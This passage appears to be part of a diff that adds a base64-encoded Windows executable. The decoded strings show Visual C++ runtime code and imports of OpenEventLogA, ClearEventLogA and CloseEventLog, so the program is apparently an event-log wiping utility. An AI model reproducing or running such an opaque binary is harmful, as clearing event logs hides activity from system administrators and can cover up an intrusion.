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 +ABAAAwYABgIQBEVFRQUFBQUFNTAAUAAAAAAgKDhQWAcIADcwMFdQBwAAICAIAAAAAAhgaGBgYGAA +AHBweHh4eAgHCAAABwAICAgAAAgACAAHCAAAACgAbgB1AGwAbAApAAAAAAAobnVsbCkAAHJ1bnRp +bWUgZXJyb3IgAAANCgAAVExPU1MgZXJyb3INCgAAAFNJTkcgZXJyb3INCgAAAABET01BSU4gZXJy +b3INCgAAUjYwMjgNCi0gdW5hYmxlIHRvIGluaXRpYWxpemUgaGVhcA0KAAAAAFI2MDI3DQotIG5v +dCBlbm91Z2ggc3BhY2UgZm9yIGxvd2lvIGluaXRpYWxpemF0aW9uDQoAAAAAUjYwMjYNCi0gbm90 +IGVub3VnaCBzcGFjZSBmb3Igc3RkaW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNQ0KLSBwdXJl +IHZpcnR1YWwgZnVuY3Rpb24gY2FsbA0KAAAAUjYwMjQNCi0gbm90IGVub3VnaCBzcGFjZSBmb3Ig +X29uZXhpdC9hdGV4aXQgdGFibGUNCgAAAABSNjAxOQ0KLSB1bmFibGUgdG8gb3BlbiBjb25zb2xl +IGRldmljZQ0KAAAAAFI2MDE4DQotIHVuZXhwZWN0ZWQgaGVhcCBlcnJvcg0KAAAAAFI2MDE3DQot +IHVuZXhwZWN0ZWQgbXVsdGl0aHJlYWQgbG9jayBlcnJvcg0KAAAAAFI2MDE2DQotIG5vdCBlbm91 +Z2ggc3BhY2UgZm9yIHRocmVhZCBkYXRhDQoADQphYm5vcm1hbCBwcm9ncmFtIHRlcm1pbmF0aW9u +DQoAAAAAUjYwMDkNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgZW52aXJvbm1lbnQNCgBSNjAwOA0K +LSBub3QgZW5vdWdoIHNwYWNlIGZvciBhcmd1bWVudHMNCgAAAFI2MDAyDQotIGZsb2F0aW5nIHBv +aW50IG5vdCBsb2FkZWQNCgAAAABNaWNyb3NvZnQgVmlzdWFsIEMrKyBSdW50aW1lIExpYnJhcnkA +AAAACgoAAFJ1bnRpbWUgRXJyb3IhCgpQcm9ncmFtOiAAAAAuLi4APHByb2dyYW0gbmFtZSB1bmtu +b3duPgAAR2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNl +cjMyLmRsbAAAAAAAAAAAAAAAAAAA//////5GQAACR0AA/////7JHQAC2R0AA/////zZJQAA6SUAA +6FQAAAAAAAAAAAAAwlUAABBQAADYVAAAAAAAAAAAAAACVgAAAFAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAA8lUAAOBVAADQVQAAAAAAALJVAACgVQAAVlcAABBWAAAeVgAAMlYAAEZWAABYVgAAZlYAAIJW +AACYVgAAslYAAMxWAADiVgAA+lYAABRXAAAmVwAANlcAAERXAACUVQAAZFcAAHJXAACAVwAAjFcA +AJhXAACkVwAAsFcAALxXAADGVwAA0lcAAOJXAADwVwAAAlgAABJYAAAmWAAAOFgAAE5YAABeWAAA +blgAAIBYAACSWAAAolgAAAAAAADMAUxvY2FsRnJlZQCvAEZvcm1hdE1lc3NhZ2VBAAAaAUdldExh +c3RFcnJvcgAAS0VSTkVMMzIuZGxsAAAyAENsb3NlRXZlbnRMb2cAMABDbGVhckV2ZW50TG9nQQAA +QAFPcGVuRXZlbnRMb2dBAEFEVkFQSTMyLmRsbAAAfQBFeGl0UHJvY2VzcwCeAlRlcm1pbmF0ZVBy +b2Nlc3MAAPcAR2V0Q3VycmVudFByb2Nlc3MAygBHZXRDb21tYW5kTGluZUEAdAFHZXRWZXJzaW9u +AACtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAJAFHZXRNb2R1bGVGaWxlTmFtZUEAALIARnJl +ZUVudmlyb25tZW50U3RyaW5nc0EAswBGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwDSAldpZGVDaGFy +VG9NdWx0aUJ5dGUABgFHZXRFbnZpcm9ubWVudFN0cmluZ3MACAFHZXRFbnZpcm9ubWVudFN0cmlu 